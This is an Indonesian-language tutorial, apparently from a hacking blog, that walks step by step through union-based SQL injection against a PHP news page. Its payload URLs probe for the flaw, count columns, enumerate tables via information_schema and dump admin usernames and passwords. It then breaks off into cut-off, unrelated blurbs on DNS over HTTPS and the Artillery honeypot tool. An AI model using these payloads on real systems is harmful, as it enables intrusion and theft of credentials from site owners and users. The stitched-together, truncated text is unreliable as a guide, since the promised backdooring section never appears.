Tutorial SQL Injection + Backdooring


---->>> 1
Kita tetapkan target terlebih dahulu
contoh: [site]/news_Event/newsDetail.php?ID=2

Tambahkan karakter ' pada akhir url atau menambahkan karakter "-" untuk melihat apakah ada vuln.
contoh:
[site]/news_Event/newsDetail.php?ID=-2 atau [site]/news_Event/newsDetail.php?ID=2'


---->>> 2
mencari dan menghitung jumlah table yang ada dalam databasenya...
gunakan perintah : +order+by+

contoh:
[site]//news_Event/newsDetail.php?ID=-2+order+by+1--

sekarang cek secara satu per satu
contoh:
[site]/news_Event/newsDetail.php?ID=-2+order+by+1--
[site]/news_Event/newsDetail.php?ID=-2+order+by+2--
[site]/news_Event/newsDetail.php?ID=-2+order+by+3--
[site]/news_Event/newsDetail.php?ID=-2+order+by+4--

sehingga muncul error atau hilang pesan error...
misal:
[site]/news_Event/newsDetail.php?ID=-2+order+by+5--

berarti yang kita ambil adalah sampai angka 4
menjadi
[site]/news_Event/newsDetail.php?ID=-2+order+by+4--


--->>> 3
untuk mengeluarkan angka berapa yang muncul gunakan perintah union
karena tadi error sampai angka 5
maka:
[site]/news_Event/newsDetail.php?ID=-2+union+select+4--

ok ,yg keluar angka 2
gunakan perintah version() untuk mengecek versi sql yg diapakai masukan perintah tsb pada nagka yg keluar tadi
contoh:
[site]/news_Event/newsDetail.php?ID=-2+union+select+1,version(),3,4--

lihat versi yg digunakan, jika versi 4 tinggalkan saja karena dalam ver 4 ini kita harus menebak sendiri table n column yg ada pada web tersebut karena tidak bisa menggunakan perintah from+information_schema
untuk versi 5 berarti anda beruntung tak perlu menebak table n column seperti ver 4 karena di ver 5 ini bisa menggunakan perintah from+information_schema


--->>> 4
Untuk menampilkan semua isi dari table tsb adalah
perintah group_concat(table_name) -> dimasukan pada angka yg keluar tadi
perintah +from+information_schema.tables+where+table_schema=database()-- -> dimasukan setelah angka terakhir

contoh:
[site]/news_Event/newsDetail.php?ID=-2+union+select+1,group_concat(table_name),3,4+from+information_schema.tables+where+table_schema=database()--

seumpama yg kita cari adalah "admin"


--->>> 5
Perintah group_concat(column_name) -> dimasukan pada angka yg keluar tadi
perintah +from+information_schema.columns+where+table_name=0xhexa-- -> dimasukan setelah angka terakhir

[site]/news_Event/newsDetail.php?ID=-2+union+select+1,group_concat(column_name),3,4+from+information_schema.columns+where+table_name=0xhexa--

pada tahap ini kalian wajib menconvert kata pada isi table menjadi hexadecimal.
website yg digunakan untuk konversi :

http://tools.vyc0d.com/converter/

contoh kata yg ingin di konversi yaitu admin maka akan menjadi 61646d696e

[site]news_Event/newsDetail.php?ID=-2+union+select+1,group_concat(column_name),3,4+from+information_schema.columns+where+table_name=0x61646d696e--


--->>> 6
Memunculkan apa yg tadi telah dikeluarkan dari table yaitu dengan cara

perintah group_concat(0x3a,hasil isi column yg mau dikeluarkan) -> dimasukan pada angka yg keluar tadi
perintah +from+(nama table berasal) -> dimasukan setelah angka terakhir

[site]/news_Event/newsDetail.php?ID=-2+union+select+1,group_concat(0x3a,hasil isi column),3,4+from+(nama table berasal)--

contoh kata yang keluar adalah adminID,Name,password

maka
[site]/news_Event/newsDetail.php?ID=-2+union+select+1,group_concat(adminID,0x3a,Name,0x3a,password),3,4+from+admin--

Nah dah nemu ID dan password-nya sekarang Very Happy

ket: 0x3a sama dengan : <- titik dua --->>> 7
Mencari halaman login Admin

ENJOY........ :D

How To Enable DNS over HTTPS

  DNS over HTTPS (DoH) is a protocol for performing remote Domain Name System (DNS) resolution via the HTTPS protocol. A goal of the method is to increase user privacy and security by preventing eavesdropping and manipulation of DNS data by man-in-the-middle attacks by using the HTTPS protocol to encrypt the data between the DoH client and the DoH-based DNS resolver. An alternative to DoH is the DNS over TLS (DoT) protocol, a similar standard for encrypting DNS queries, differing only in the methods used for encryption and delivery. On the basis of privacy and security, whether or not a superior protocol exists among the two is a matter of controversial debate, while others argue the merits of either depend on the specific use case. Benefits DoH improves privacy by hiding domain name lookups from someone lurking on public WiFi, your ISP, or anyone else on your local network. DoH, when enabled, ensures that your ISP cannot collect and sell personal information related to your browsi

Artillery - Binary Defense Project

Project Artillery is an open source project aimed at the detection of early warning indicators and attacks. The concept is that Artillery will spawn multiple ports on a system giving the attacker the idea that multiple ports are exposed. Additionally, Artillery actively monitors the filesystem for changes, brute force attacks, and other indicators of compromise. Artillery is a full suite for protection against attack on Linux and Windows based devices. It can be used as an early warning indicator of attackers on your network. Additionally, Artillery integrates into threat intelligence feeds which can notify when a previously seen attacker IP address has been identified. Artillery supports multiple configuration types, different versions of Linux, and can be deployed across multiple systems and events sent centrally. Artillery is a combination of a honeypot, monitoring tool, and alerting system. Eventually this will evolve into a hardening monitoring platform as well to detect ins
